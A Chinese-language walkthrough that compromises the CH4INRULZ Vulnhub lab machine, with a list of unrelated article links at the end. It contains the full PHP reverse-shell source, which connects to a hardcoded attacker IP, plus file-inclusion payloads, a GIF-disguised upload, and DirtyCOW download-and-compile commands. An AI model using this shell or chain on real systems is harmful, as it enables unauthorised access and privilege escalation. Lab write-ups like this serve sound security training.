声明

好好学习,天天向上

搭建

使用vmware打开

渗透

存活扫描,发现目标

arp-scan -l

端口扫描

nmap -T4 -A 192.168.31.180 -p 1-65535 -oN nmap.A

开启端口

发现开启21,22,80,8011

访问80

http://192.168.31.180

扫描web目录

python3 dirsearch.py -u 192.168.31.180

development中得登录

index中告诉我们还没开发完

剩下的没什么消息了

访问备份文件,拿到密码

http://192.168.31.180/index.html.bak

访问8011

http://192.168.31.180:8011

扫描8011目录

python3 dirsearch.py -u 192.168.31.180:8011

api很可疑,访问api

http://192.168.31.180:8011/api/

出现4个api

web_api.php
records_api.php
files_api.php
database_api.php

分别访问

http://192.168.31.180:8011/api/web_api.php
http://192.168.31.180:8011/api/records_api.php
http://192.168.31.180:8011/api/files_api.php
http://192.168.31.180:8011/api/database_api.php

只有第三个files的api不报404,不过有files我就想到文件类的漏洞,文件上传就直接上传webshell,文件包含,可以看文件内容,包含webshell拿下shell

页面上提示要有file参数,应该是要文件包含

POST访问

http://192.168.31.180:8011/api/files_api.php
file=/etc/passwd

看了下用户信息,发现一个frank很亮眼貌似就是web用户,主目录是:/home/frank。

爆破刚刚备份文件里面的内容

frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0

登录development

http://192.168.31.180/development
frank:frank!!!

说上传工具已完成,但是还没通过安全测试,那。。。访问

http://192.168.31.180/development/uploader

上传了一个失败了,使用文件包含看看源码

http://192.168.31.180:8011/api/files_api.php
file=php://filter/read=convert.base64-encode/resource=/var/www/development/uploader/upload.php

代码如下

PD9waHAKJHRhcmdldF9kaXIgPSAiRlJBTkt1cGxvYWRzLyI7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gYmFzZW5hbWUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSk7CiR1cGxvYWRPayA9IDE7CiRpbWFnZUZpbGVUeXBlID0gc3RydG9sb3dlcihwYXRoaW5mbygkdGFyZ2V0X2ZpbGUsUEFUSElORk9fRVhURU5TSU9OKSk7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T2sgPSAwOwp9Ci8vIENoZWNrIGlmICR1cGxvYWRPayBpcyBzZXQgdG8gMCBieSBhbiBlcnJvcgppZiAoJHVwbG9hZE9rID09IDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgd2FzIG5vdCB1cGxvYWRlZC4iOwovLyBpZiBldmVyeXRoaW5nIGlzIG9rLCB0cnkgdG8gdXBsb2FkIGZpbGUKfSBlbHNlIHsKICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgICAgICBlY2hvICJUaGUgZmlsZSAiLiBiYXNlbmFtZSggJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSkuICIgaGFzIGJlZW4gdXBsb2FkZWQgdG8gbXkgdXBsb2FkcyBwYXRoLiI7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIlNvcnJ5LCB0aGVyZSB3YXMgYW4gZXJyb3IgdXBsb2FkaW5nIHlvdXIgZmlsZS4iOwogICAgfQp9Cj8+Cgo=

base64解码

<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);if($check !== false) {echo "File is an image - " . $check["mime"] . ".";$uploadOk = 1;} else {echo "File is not an image.";$uploadOk = 0;}
}
// Check if file already exists
if (file_exists($target_file)) {echo "Sorry, file already exists.";$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {echo "Sorry, your file is too large.";$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";} else {echo "Sorry, there was an error uploading your file.";}
}
?>

判断conten-type,而且第二行的FRANKuploads/就是上传的路径

上传一个图片反弹shell马

马的内容如下,自行修改Ip和端口

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.31.64';  // CHANGE THIS
$port = 6666;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;//
// Daemonise ourself if possible to avoid zombies later
//// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}// Change to a safe directory
chdir("/");// Remove any umask we inherited
umask(0);//
// Do the reverse shell...
//// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}// Spawn shell process
$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {if (!$daemon) {print "$string\n";}
}?>

直接上传这个php,上传时抓包,改后缀和type,并在头部加上GIF89a

包含一下这个马,拿到shell

http://192.168.31.180:8011/api/files_api.php
file=/var/www/development/uploader/FRANKuploads/1.gif

进入python交互式

python -c 'import pty;pty.spawn("/bin/bash")'

查内核

uname -a
2.6.35

脏牛提权

kali

searchsploit 2.6.35
cp /usr/share/exploitdb/exploits/linux/local/15285.c ./
python -m SimpleHTTPServer 5555

靶机

cd /tmp
wget http://192.168.31.64:5555/15285.c
gcc 15285.c -o 15285
chmod 777 15285
./15285 -s

拿到flag

总结

1.信息收集

端口发现21,22,80和8011

80发现了web端,但是需要用户名和密文密码,由于作者首页提示还在网站还在写,在80的备份html文件中发现了用户名和密码

8011发现多个api,只有文件包含api可以使用,使用文件包含api查看linux的账户

2.web权限

爆破密文密码,登录80

3.shell权限

拿到web后,可以上传图片马,上传一个图片反弹shell马,拿到shell

4.权限维持

5.提权

用脏牛漏洞进行提权

Vulnhub靶机实战-CH4INRULZ相关推荐

  1. 全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】

    靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日 靶机描述:欢迎使用" IMF&qu ...

  2. Vulnhub靶机实战——DC-8

    靶机DC-8下载地址: https://download.vulnhub.com/dc/DC-8.zip 环境:VMware 15虚拟机软件 DC-8靶机IP地址:192.168.220.156 Ka ...

  3. Vulnhub靶机实战——DC-5

    靶机DC-5下载地址:https://download.vulnhub.com/dc/DC-5.zip 环境:VMware 15虚拟机软件 DC-5靶机IP地址:192.168.220.139 Kal ...

  4. Vulnhub靶机实战——Matrix2

    Matrix2靶机下载地址: https://download.vulnhub.com/matrix/matrix2-Unknowndevice64.ova 环境: VMware 15虚拟机软件 Ma ...

  5. 挑战全网最详细靶机教程——vulnhub靶机实战 lampiao【适合刚接触的新人学习】

    靶机地址:https://www.vulnhub.com/entry/lampiao-1,249/ 靶机难度:中等 工具:kalilinux: 一个灵活的脑子 : 一双手 目标:得到root权限&am ...

  6. 挑战全网最详细靶机教程——vulnhub靶机实战vulnhub Tr0ll: 1【适合刚接触的新人学习】

    靶机地址:https://www.vulnhub.com/entry/tr0ll-1,100/ 靶机难度:简单 靶机发布日期:2014年8月14日 靶机描述:Tr0ll的灵感来自OSCP实验室中不断摇 ...

  7. Vulnhub靶机实战——Matrix3

    下载地址: https://download.vulnhub.com/matrix/Machine_Matrix_v3.ova 环境: VMware 15虚拟机软件 Matrix3靶机IP地址:192 ...

  8. Vulnhub靶机实战——DC-3

    靶机DC-3下载地址:https : //download.vulnhub.com/dc/DC-3.zip 靶机DC-3VMware下载地址:https : //download.vulnhub.co ...

  9. DC-5 vulnhub靶机实战

    首先是使用virtualbox安装,这里不推荐vmware,会出很多问题. nmap扫一下子网,看靶机的ip地址: 发现ip是192.168.240.137,开放了80和111端口. 给了提示是个文件 ...

最新文章

  1. 【Android-功能】Android应用增量更新
  2. hdu1999 不可摸数 好题.
  3. 程序间数据共享与传递(3):EXPORT/IMPORT、SAP/ABAP Memory
  4. why product overview page could not be displayed in QI2 506
  5. 绕过waf mysql爆库_sqlilab-Less-21-30-writeup
  6. zynq中mgtx应用_【干货分享】ZYNQ常用外设设计 (上)
  7. call需要多大带宽 video_KCP TCP是为流量设计的(每秒内可以传输多少KB的数据),讲究的是充分利用带宽。而KCP是为流速设计的(单个数据包从一端发送到一端需要多少时间)...
  8. jdk在Windows下为什么要配置环境变量(引用)
  9. swap分区自动建立配置
  10. 面试官:这货一听就是一个水货...
  11. 考研数学小知识点(积化和差、几何平均数、质心、梯度、旋度、散度)
  12. Python的h5py模块
  13. 兜了一圈,发现想要的APK在这里有
  14. centos7.2下安装php7.1缺少依赖包汇总(初稿)
  15. 绩效考核的五大原则,你知道吗?
  16. Hark的数据结构与算法练习之若领图排序ProxymapSort
  17. 小白也能看懂的华为防火墙配置教程
  18. 【项目】问答系统-代码-后台
  19. 小程序获取oppenid时返回40125或者40029
  20. tensorflow的slim调用预训练模型的权重进行迁移学习的一些感触

热门文章

  1. ubuntu16.04 安装nominatim 实现离线逆地理解析服务
  2. std::set/std::map 的几个为什么
  3. win10安装配置redis(zip版)
  4. 三星电视删除USB播放记录
  5. 【1106. 解析布尔表达式】
  6. Flex通讯系列---Flex与SWF(一)
  7. windows live mail 尝试打开该邮件时出错
  8. linux系统安装WI-FI驱动
  9. 人工智能政策再加码 中庆录播另辟新路径
  10. PPT模板-湘潭大学-汇报答辩通用模板